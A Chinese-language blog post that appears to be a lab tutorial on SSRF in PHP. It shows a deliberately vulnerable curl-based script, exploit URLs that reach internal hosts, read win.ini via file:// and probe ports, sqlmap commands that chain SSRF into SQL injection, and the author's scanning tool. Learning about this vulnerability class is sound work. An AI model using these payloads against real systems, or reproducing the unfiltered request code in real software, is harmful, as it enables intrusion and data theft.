0x00 前言
發現最近已經很久沒更新文章了,這里就先來更新一篇ssrf,這個漏洞也是最近才研究的,以前沒有去挖過此類漏洞,對此漏洞的認知也比較少
0x01 漏洞原理
這個漏洞產生是因為服務器向外部去請求一些資源,例如圖片或者是url的時候就會造成這個漏洞。現在很多網站開發的時候也會請求到外部的一些圖片,那么這樣也很有可能存在ssrf漏洞。
先來看看產生ssrf漏洞的幾個函數。
file_get_contents()
fsockopen()
curl_exec()
0x02 ssrf 利用
在php里面使用者幾個函數來請求外部的資源,並且沒做限制和過濾的話就會產生這個ssrf漏洞,
這里先來編寫一段簡單的ssrf代碼。
<?php function curl($url) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL, $url); curl_setopt($ch,CURLOPT_HEADER,0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>
這里請求以get方式接收url傳參過來數據。
在正常情況下url可能是這樣的
http://127.0.0.1/ssrf1.php?url=https://p2.ssl.qhimgs1.com/t01523800134810ef18.jpg
但是我們如果把他請求的鏈接替換成他內網的地址,就可以讓他直接訪問內網的80端口。
http://127.0.0.1/ssrf1.php?url=http://192.168.0.104
這里可以看到能利用到ssrf漏洞,訪問到內部的資源,那么我們是不是可以來嘗試一下能不能訪問他內網的url進行sql注入,但是這里只會加載部分資源,具體得還得靠字典去掃描。
方便演示,直接搭建了個sqli-labs 的靶機在他訪問的內網環境中,用ssrf來請求。
http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=2%27
這里要注意的一個點是后面輸入的payload 要url編碼,否則會報錯。
這里直接使用sqlmap來跑,內網的一些網站大部分防護比較弱。
sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs
在這里只檢測出來了存在注入,但是缺沒有爆出數據,后面輸入空格的地方沒做編碼可能會報錯
那么我們使用sqlmap的時候可以加上tamper腳本,讓空格做個編碼或者是替換。
sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs --tamper=space2comment
這里成功爆出所有數據。
ssrf也可以使用一些偽協議來探測內網的ip和端口,這里先使用file協議來讀取文件。
http://127.0.0.1/ssrf1.php?url=file://c:\\windows\\win.ini
成功訪問到win.ini文件
這里編寫了個腳本使用file協議來使用字典去遍歷文件。
python.exe ssrf.py http://127.0.0.1/ssrf1.php?url path.txt file
這里能直接遍歷到文件。讓腳本幫我們完成工作,能讓我們在滲透當中避免不必要的麻煩。
遍歷完文件后,還可以用ssrf來遍歷端口。
http://127.0.0.1/ssrf1.php?url=http://127.0.0.1:3306
這里可以直接探測到一些banner信息,如果沒開放的話,這里是不會返回任何內容的。
那么我們這里肯定也不能使用手工去做探測依然用到我們的腳本。
python ssrf.py http://127.0.0.1/ssrf1.php?url port.txt http
可以成功探測出本機ip開放的端口以及版本信息,在代碼里面默認寫的是探測本機的端口,如果想探測其他的內網ip段開放端口的話可以自行修改一下代碼中的ip。因為先麻煩所以暫時先把它給固定死。項目的地址也在這里貼出來給各位師傅。
github地址:https://github.com/nice0e3/ssrf
在這里還有個功能沒寫就是需要遍歷內網存活的80端口,后面也會逐漸完善這個腳本。
0x03 一些小感慨
在這段時間接觸腳本開發以來,發現原來會開發安全工具的和不會開發的是兩種本質上的區別,從思維上就有很大的區別。不會開發工具的話,話說難聽點就是個工具人。但是會開發工具的缺不一樣,會開發工具的會是一個開發工具的工具人,哈哈哈。
最近都在完善一些腳本能力,也在逐漸使用腳本來完善一些以前有過的一些大膽的想法。
本文章耗時:兩小時